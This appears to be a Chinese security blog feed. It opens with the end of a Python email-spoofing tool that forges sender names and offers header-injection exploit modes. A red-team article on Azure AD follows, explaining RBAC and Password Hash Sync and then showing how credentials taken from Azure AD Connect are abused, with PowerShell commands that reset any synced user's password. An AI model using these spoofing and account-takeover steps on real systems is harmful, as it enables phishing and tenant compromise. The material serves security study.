    parser.add_argument(&quot;--name&quot;, default=&quot;System Admin&quot;, help=&quot;伪造的发件人显示名称 (例如 &apos;IT 安全中心&apos;)&quot;)
    parser.add_argument(&quot;--exploit-type&quot;, choices=[&apos;none&apos;, &apos;double-from&apos;, &apos;space-injection&apos;], default=&apos;none&apos;, help=&quot;[核弹级] USENIX&apos;21 论文攻击模式: double-from (双头欺骗), space-injection (空格注入)&quot;)

    args = parser.parse_args()

    # 自动处理用户可能输入的邮箱地址 (如 test@domain.com -&gt; domain.com)
    if &quot;@&quot; in args.domain:
        print(f&quot;[!] 检测到输入了邮箱地址 {args.domain}，自动截取域名部分...&quot;)
        args.domain = args.domain.split(&quot;@&quot;)[-1]

    # 步骤 1: 检查 SPF
    record = check_spf(args.domain)
    is_vulnerable = analyze_spf(record)

    # 步骤 2: 发送测试 (如果提供了接收者)
    if args.to:
        if not is_vulnerable:
             print(&quot;\n&quot; + &quot;!&quot;*50)
             print(&quot;[警告] 该域名 SPF 配置非常严格 (-all)。&quot;)
             print(&quot;       直接的 IP 伪造大概率会失败 (550 Error) 或被拦截。&quot;)
             print(&quot;       除非你正在测试 &apos;DMARC 绕过/信头欺骗&apos; (使用真实账号发信)，否则请做好失败准备。&quot;)
             print(&quot;!&quot;*50 + &quot;\n&quot;)
             
        send_fake_email(
            sender_domain=args.domain, 
            sender_address=args.sender,
            target_email=args.to,
            smtp_host=args.smtp_host,
            smtp_port=args.smtp_port,
            smtp_user=args.user,
            smtp_pass=args.password,
            use_ssl=args.ssl,
            obfuscate=args.obfuscate,
            sender_name=args.name,
            exploit_type=args.exploit_type
        )
    else:
        print(&quot;\n[*] 未提供 --to 参数，仅进行 SPF 检查。如需发送测试，请添加该参数。&quot;)

if __name__ == &quot;__main__&quot;:
    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;‍&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>红队视角下的AzureAD攻防</title><link>https://s4u2self.cc/blog/azure-ad-attacks-redteam</link><guid isPermaLink="true">https://s4u2self.cc/blog/azure-ad-attacks-redteam</guid><description>红队视角下的AzureAD攻防</description><pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;红队视角下的AzureAD攻防&lt;/h1&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h2&gt;AzureAD/Azure/AD&lt;/h2&gt;
&lt;p&gt;　　Azure AD，是微软提供的一种基于云的身份和访问管理 (IAM) 解决方案。它可以帮助组织安全地管理员工、合作伙伴和客户对应用程序和资源的访问。&lt;/p&gt;
&lt;p&gt;　　注:2023 年 6 月 21 日起，Azure AD，现在正式更名为 Microsoft Entra ID，但是以下，我还是将他称为 AzureAD。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Microsoft Azure ID 的主要功能包括：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;身份验证和授权：&lt;/strong&gt;  验证用户身份并控制他们对资源的访问权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;单点登录 (SSO)：&lt;/strong&gt;  用户使用一组凭据访问多个应用程序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多重身份验证 (MFA)：&lt;/strong&gt;  通过要求额外的验证因素（如短信验证码或指纹）来增强安全性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;设备管理：&lt;/strong&gt;  管理和保护连接到组织网络的设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自助服务密码重置：&lt;/strong&gt;  用户可以自行重置密码，无需联系 IT 支持。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;与本地 Active Directory 集成：&lt;/strong&gt;  将云身份管理与本地身份管理相结合。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703082894-959c0d.CtQORCoi_Z25gIOk.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;AD or AAD？&lt;/h3&gt;
&lt;p&gt;　　这是一个很有趣的问题，首先分清楚两者之间的一个功能性概念。&lt;/p&gt;
&lt;p&gt;　　AD:“Active Directory&quot;的缩写，简单来说就是本地域服务，Windows Active Directory 主要使用 Kerberos 身份验证协议和 LDAP ，基于访问控制列表 ACL 作为其目录服务的一部分对用户进行身份验证。&lt;/p&gt;
&lt;p&gt;　　AAD：”Azure Active Directory”利用的是 SAML、OAuth 2.0、OpenID Connect 协议基于角色访问控制 RBAC 模型和条件访问控制来完成。&lt;/p&gt;
&lt;p&gt;| 特性 | Windows AD（Active Directory） | Azure AD（Microsoft Entra ID） |
| --- | --- | --- |
| 部署类型 | 本地部署，需要在组织的服务器上安装和维护 | 云部署，由 Microsoft 托管和维护 |
| 主要用途 | 管理本地 Windows 环境中的用户、计算机和资源，例如文件服务器、打印机和应用程序 | 管理云应用程序和资源的访问，例如 Microsoft 365、Azure 服务和 SaaS 应用程序 |
| 身份验证协议 | Kerberos、NTLM | SAML、WS-Federation、OAuth 2.0、OpenID Connect |
| 目录结构 | 基于树状结构的组织单位 (OU) | 基于扁平结构的组 |
| 组策略 | 支持组策略对象 (GPO)，用于集中管理 Windows 设置和配置 | 不直接支持组策略，但可以使用 Intune 等工具实现类似功能 |
| 访问控制 | 基于访问控制列表 (ACL) | 基于角色的访问控制 (RBAC) 和条件访问策略 |
| 单点登录 (SSO) | 支持本地应用程序的 SSO，但需要额外的配置 | 支持云应用程序的 SSO，通常开箱即用 |
| 多重身份验证 (MFA) | 支持 MFA，但需要额外的配置 | 支持 MFA，并且易于配置 |
| 自助服务 | 支持自助服务密码重置和解锁帐户，但需要额外的配置 | 支持自助服务密码重置、解锁帐户和注册设备，通常开箱即用 |
| 许可模式 | 通常作为 Windows Server 操作系统的一部分提供，需要购买 Windows Server 许可证 | 提供免费版和付费版，付费版提供更多高级功能 |
| 适用场景 | 适用于主要使用本地 Windows 应用程序和资源的组织，或者需要严格控制本地环境的组织 | 适用于主要使用云应用程序和资源的组织，或者需要灵活、可扩展的身份和访问管理解决方案的组织 |
| 集成 | 可以与 Azure AD 集成，实现混合身份管理 | 可以与 Windows AD 集成，实现混合身份管理 |
| 其他功能 | 提供其他功能，如 DNS、DHCP 和证书服务 | 提供其他功能，如设备管理、应用程序代理、自助服务组管理和动态组 |&lt;/p&gt;
&lt;p&gt;　　所以 AD 和 AAD 不是一个完全相同的东西，唯一的相同之处就是都是一个提供信任服务的模式。&lt;/p&gt;
&lt;p&gt;　　传统的 AD 模式更适合引管理本地域计算机,而 AAD 模式更适合管理需要频繁用到云上资源的场景。&lt;/p&gt;
&lt;p&gt;　　这里又申引出来一个概念，即 Azure AD 和 Azure 的关系。&lt;/p&gt;
&lt;h3&gt;Azure or Azure AD？&lt;/h3&gt;
&lt;p&gt;　　Azure 是微软家族很大的一个云服务平台，而 AzureAD 只是其中的一个产品之一。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703082971-3b6390.D876x2Ky_Z1S8W0C.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083036-813b38.gyGj9bB4_Z1Qhc0J.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　从上述的图中我们可以看出 Azure 和 Azure AD 还有资源组之间的关系，&lt;/p&gt;
&lt;p&gt;　　假设一个场景用户采用了混合身份环境，并且 office365 模式，那么 Azure AD 是负责云端身份验证，Azure AD 为 Office 365 提供身份验证和授权服务，其中通过 RBAC 模型来确定用户对 Azure 资源的访问权限，如果正确即可通过 Azure AD 的凭据登录 Office 365。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　那么什么是 RBAC 模型，我们接着往下看。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;RBAC&lt;/h3&gt;
&lt;p&gt;　　RBAC 是基于角色的访问控制服务，用于管理用户对 Azure 资源的访问，包括他们可以对这些资源做什么以及他们可以访问哪些区域。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;RBAC 的核心概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;角色 (Role):&lt;/strong&gt;  一组权限的集合。例如，“虚拟机管理员”角色可能拥有创建、启动、停止虚拟机的权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限 (Permission):&lt;/strong&gt;  对特定资源执行特定操作的能力。例如，对虚拟机的“启动”权限。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分配 (Assignment):&lt;/strong&gt;  将角色分配给用户或组，使用户或组继承该角色的所有权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083118-318eb4.LE6WTqX5_Z1huyUC.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这张图展示了 Azure 基于角色的访问控制（RBAC）的工作原理，详细说明如下：&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;1. 安全主体（Security Principal）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安全主体是可以分配 Azure 角色的实体，包括：
&lt;ul&gt;
&lt;li&gt;用户（User）：Azure AD 中的个人用户。&lt;/li&gt;
&lt;li&gt;组（Group）：Azure AD 中的一组用户。&lt;/li&gt;
&lt;li&gt;服务主体（Service Principal）：代表应用程序或服务的身份。&lt;/li&gt;
&lt;li&gt;托管标识（Managed Identity）：Azure 资源的自动管理身份。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在图中，安全主体是一个名为“Marketing Group”的组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;2. 角色定义（Role Definition）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;角色定义是一组权限的集合，描述了拥有该角色的实体可以对 Azure 资源执行的操作。&lt;/li&gt;
&lt;li&gt;Azure RBAC 提供了许多内置角色，例如：
&lt;ul&gt;
&lt;li&gt;拥有者（Owner）：对资源具有完全访问权限。&lt;/li&gt;
&lt;li&gt;参与者（Contributor）：可以创建和管理资源，但不能授予访问权限。&lt;/li&gt;
&lt;li&gt;读取者（Reader）：只能查看资源，不能修改。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;还可以创建自定义角色，以满足特定的需求。&lt;/li&gt;
&lt;li&gt;在图中，“Contributor”角色被分配给 Marketing Group，这意味着该组的成员可以对资源进行修改，但不能授予访问权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;3. 角色分配（Role Assignment）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;角色分配是将角色定义与安全主体和作用域关联起来的过程。&lt;/li&gt;
&lt;li&gt;通过角色分配，您可以控制哪些安全主体可以在哪些作用域内执行哪些操作。&lt;/li&gt;
&lt;li&gt;在图中，&quot;Contributor&quot;角色被分配给 Marketing Group，作用域是名为&quot;pharma-sales&quot;的资源组。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　&lt;strong&gt;4. 作用域（Scope）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;作用域是 RBAC 应用的范围，可以是：
&lt;ul&gt;
&lt;li&gt;管理组（Management Group）：包含多个订阅的容器。&lt;/li&gt;
&lt;li&gt;订阅（Subscription）：Azure 服务的基本计费单位。&lt;/li&gt;
&lt;li&gt;资源组（Resource Group）：包含相关 Azure 资源的逻辑容器。&lt;/li&gt;
&lt;li&gt;单个资源（Individual Resource）：例如虚拟机、存储帐户等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;在图中，作用域是名为&quot;pharma-sales&quot;的资源组，这意味着 Marketing Group 的成员只能在这个资源组内行使&quot;Contributor&quot;角色的权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083235-08afaa.L0Q3AFqA_Z23hLPX.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　同时一个一个 User/Group 是可以被多个 Role 所绑定的。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h3&gt;ABAC&lt;/h3&gt;
&lt;p&gt;　　ABAC 是另一种访问控制模型，与 RBAC 相比，它提供了更细粒度、更灵活的权限管理方式。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;ABAC 的核心概念：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;属性 (Attribute):&lt;/strong&gt;  描述主体（用户、组、应用程序等）、资源（文件、数据、服务等）或环境（时间、位置、网络等）的特征。例如，用户的部门、职称、安全许可等级，资源的类型、敏感度、创建日期，环境的 IP 地址、设备类型等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略 (Policy):&lt;/strong&gt;  一组规则，定义了在满足特定条件时允许或拒绝访问。策略通常使用属性来表达条件，例如，“允许市场部员工在工作时间访问市场数据”。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　我用一个图来解释这种行为：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083315-89cd4b.DFgz1tmN_xUzBw.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;允许访问市场数据：&lt;/strong&gt;  这是策略的具体内容，说明了在什么条件下允许访问市场数据。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主体、资源、环境：&lt;/strong&gt;  这是 ABAC 模型的三个核心要素，分别表示访问者、被访问对象和访问环境。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;部门、数据类型、时间、星期几：&lt;/strong&gt;  这是具体属性，用于描述主体、资源和环境的特征。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;市场部、市场数据、9:00-17:00、周一-周五：&lt;/strong&gt;  这是属性的具体值，用于限定访问条件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　逻辑关系就是：&lt;/p&gt;
&lt;p&gt;　　只有当以下三个条件同时满足时，才允许访问市场数据：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主体&lt;/strong&gt;的部门属性为“市场部”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;资源&lt;/strong&gt;的数据类型属性为“市场数据”。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境&lt;/strong&gt;的时间属性在 9:00-17:00 之间，且星期几属性为周一至周五。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;　　我认为这一块和基于资源的约束委派定义差不多。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h2&gt;Azure AD Connect 架构与工作原理&lt;/h2&gt;
&lt;h3&gt;Azure AD Connect 功能概述&lt;/h3&gt;
&lt;p&gt;　　Azure AD Connect 是微软提供的一个工具，用于在本地 Active Directory (AD) 和 Azure Active Directory (Azure AD) 之间建立混合身份集成。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;Azure AD Connect 功能：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;密码哈希同步 (Password Hash Synchronization, PHS):&lt;/strong&gt;  将本地 AD 用户的密码哈希同步到 Azure AD，使用户可以使用相同的密码登录到本地和云端服务。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;传递身份验证 (Pass-through Authentication, PTA):&lt;/strong&gt;  允许用户使用其本地 AD 凭据直接登录到 Azure AD，无需在云端存储密码哈希。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;联合身份验证 (Federation):&lt;/strong&gt;  将身份验证请求重定向到本地 AD FS (Active Directory Federation Services) 或第三方身份提供商 (IdP)，实现更高级的身份验证和授权方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三种同步方式&lt;/h3&gt;
&lt;h4&gt;PHS&lt;/h4&gt;
&lt;h5&gt;哈希同步的原理和风险&lt;/h5&gt;
&lt;p&gt;　　密码哈希同步 (PHS) 是 AzureAD Connect 的一项功能- 它是最容易实现的身份验证选项，也是默认选项。PHS 的工作方式是，每当在本地更改密码时，来自 Active Directory 的密码哈希就会同步到 Azure AD 中。&lt;/p&gt;
&lt;p&gt;　　注意点一点是，通过 Azure AD 修改用户密码时，新的密码不会同步回本地 AD。PHS 机制是单向的，仅支持将本地 AD 的密码哈希值同步到 Azure AD，而不支持从 Azure AD 同步回本地 AD。要使密码在 Azure AD 和本地 AD 之间双向同步，需使用其他机制如密码写回 (Password Writeback) 功能。然而，密码写回功能需要 Azure AD Premium P1 或 P2 许可证，并且需要在 Azure AD Connect 中配置。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　他的原理如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;获取密码哈希：&lt;/strong&gt;  Azure AD Connect 从本地 Active Directory (AD) 中读取用户的密码哈希值。密码哈希是通过对用户密码应用单向加密算法（如 NTLM 或 Kerberos）生成的固定长度字符串。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理密码哈希：&lt;/strong&gt;  为了增强安全性，Azure AD Connect 会对获取到的密码哈希进行一些额外的处理，包括：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;加盐 (Salting):&lt;/strong&gt;  在密码哈希中添加随机字符串（盐），以防止彩虹表攻击。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不可逆加密：&lt;/strong&gt;  对加盐后的密码哈希再次应用单向加密算法，使得无法从云端哈希还原出原始密码。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;同步到 Azure AD：&lt;/strong&gt;  Azure AD Connect 将处理后的密码哈希安全地同步到 Azure AD，只同步自上次同步以来发生更改的密码哈希。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;用户登录验证：&lt;/strong&gt;  当用户尝试登录 Azure AD 或 Office 365 等云服务时，Azure AD 会将用户输入的密码进行相同的哈希处理，然后与存储在 Azure AD 中的密码哈希进行比较。如果两个哈希值匹配，则验证通过，允许用户登录。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　同步操作会半小时进行一次，当加入混合模式后，会发生什么？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083371-b03a26.Si9VnOYx_ZBeiKg.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083453-cc1a42.Cy0QAh5W_2pteXM.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083539-ae20d3.Bp-u9Al4_1RpFRe.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　新增了一个 MSQL 标志的用户，当我们查看他拥有权限的时候会发生什么。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083614-bf12b9.DvuVDJF6_ZtspuD.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　值得注意的是，此用户并不会同步到 AAD 里面去。&lt;/p&gt;
&lt;p&gt;　　Azure AD Connect 默认会排除以下类型的账户：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;内置管理员账户，如 &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;其他内置和系统账户&lt;/li&gt;
&lt;li&gt;被禁用的账户&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;　　这一点可以 &lt;code&gt;Get-ADSyncRule&lt;/code&gt; 来获取同步用户的规则。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083741-a31d2f.CuRmAzYh_abBov.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　所有 AD 域环境中的 &lt;code&gt;Administrator&lt;/code&gt;、&lt;code&gt;Guest&lt;/code&gt; 和 &lt;code&gt;krbtgt&lt;/code&gt; 账户是不会同步上去的。&lt;/p&gt;
&lt;p&gt;　　这些规则的设计目的是为了避免将一些系统账户、来宾账户或高权限账户同步到 Azure AD，从而保护 Azure AD 的安全性和稳定性。&lt;/p&gt;
&lt;p&gt;　　如本文前面所述，Azure AD Connect 在本地 Active Directory 上创建了一个同步帐户。&lt;/p&gt;
&lt;p&gt;　　由于他负责将用户密码哈希的哈希发送到云端，因此&lt;strong&gt;该用户在域上具有复制权限。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　我们来看看他如何同步密码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083872-3b044c.naDBIenc_19Vvtr.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这段代码定义了一个名为 &lt;code&gt;PasswordHashGenerator&lt;/code&gt; 的类，它是 &lt;code&gt;ClearPasswordHashGenerator&lt;/code&gt; 的子类。&lt;code&gt;PasswordHashGenerator&lt;/code&gt; 主要作用是生成密码哈希值，用于在 Azure AD Connect 中同步密码。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703083937-1ad2c4.CWBYyBYy_Z15JvbM.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　重新哈希过程由 &lt;em&gt;OrgIdHashGenerator&lt;/em&gt; 类中的方法处理，&lt;code&gt;OrgIdHashGenerator&lt;/code&gt; 类会对加盐后的哈希值应用 SHA256 算法，重复 1000 次。每次哈希都会将上一次的结果作为输入，从而产生一个更复杂、更难以破解的最终哈希值。&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　我们来验证一下此过程，为了方便演示，我这里新增了一个 AD 域用户“lihua009”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084006-063117.Vv_jI1sH_1SyIty.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　然后强制发起一次同步流程。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084066-c50252.VEtZjulG_ZRAzwy.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　dnspy 也已经停留在下断点的地方&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084146-9bdf6e.DSi-daXO_Z1QcW5q.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　来比较一下是否一致，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084212-42804f.DHV3Pe4o_8NL2K.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;h6&gt;滥用 特权&lt;/h6&gt;
&lt;p&gt;　　那么之前我们提到的 配置 PHS 之后会自动创建两个用户。&lt;/p&gt;
&lt;p&gt;　　MSQL_会自动在本地 AD 中创建。此帐户被赋予__&lt;strong&gt;目录同步帐户&lt;/strong&gt;&lt;em&gt;&lt;em&gt;角色（参见&lt;/em&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions&quot;&gt;文档&lt;/a&gt;&lt;/em&gt;），这意味着它*_&lt;em&gt;在本地 AD 中具有复制（DCSync）权限&lt;/em&gt;。&lt;/p&gt;
&lt;p&gt;　　Sync*是在 Azure AD 中创建一个帐户。此帐户可以重置 Azure AD 中任何用户（同步或仅限云）&lt;strong&gt;的密码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084283-1858aa.DCAx-2OS_Z1yvnTI.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　这两个特权帐户的密码存储在安装 Azure AD Connect 的服务器上的 &lt;strong&gt;SQL 服务器中&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;　　数据库位于。&lt;code&gt;C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;　　ADsync 用户在本地是以服务账户进行启动的，参考如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084355-b6f7f3.zk4hL8R8_Z20dAM5.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　Azure AD Connect 服务利用名为 NT SERVICE\ADSync 的虚拟服务帐户来执行服务进程 (miiserver.exe)。&lt;/p&gt;
&lt;p&gt;　　当你拥有管理员权限并且在安装了 Azure AD Connect 的服务器上，就可以执行相关的命令。&lt;/p&gt;
&lt;p&gt;　　可以使用 AADInternals 进行提取，如下图：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084421-f4db9c.PKgJcJpt_Zechpe.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;p&gt;　　获取到这些 sync 的凭据之后，可以直接利用令牌更改任何经过 AAD 同步用户的密码，如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084494-8b3e6d.DyPGWjQ9_Z1e1RDY.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取全局管理员列表
$globalAdmins = Get-AADIntGlobalAdmins
Write-Output $globalAdmins
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084564-06d0ab.BjzuknNw_2gL4Td.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取所有用户
$users = Get-AADIntUsers -AccessToken $token
Write-Output $users

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084681-2549a0.32HPvQoV_125V84.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;　　‍&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 获取指定用户的 ImmutableId，替换为你的实际用户
$userPrincipalName = &quot;lihua009@5tgyh1.onmicrosoft.com&quot;
$user = Get-AADIntUser -UserPrincipalName $userPrincipalName | Select-Object -Property ImmutableId
Write-Output $user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1728703084765-5377a1.Bw-AvP0m_GF7nx.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;# 使用 ImmutableId 重置用户密码，替换为你需要的新密码
$newPassword = &quot;AbcdPass12343!@#&quot;
Set-AADIntUserPassword -SourceAnchor $user.ImmutableId -Password $newPassword -Verbose
&lt;/code&gt;&lt;/pre&gt;
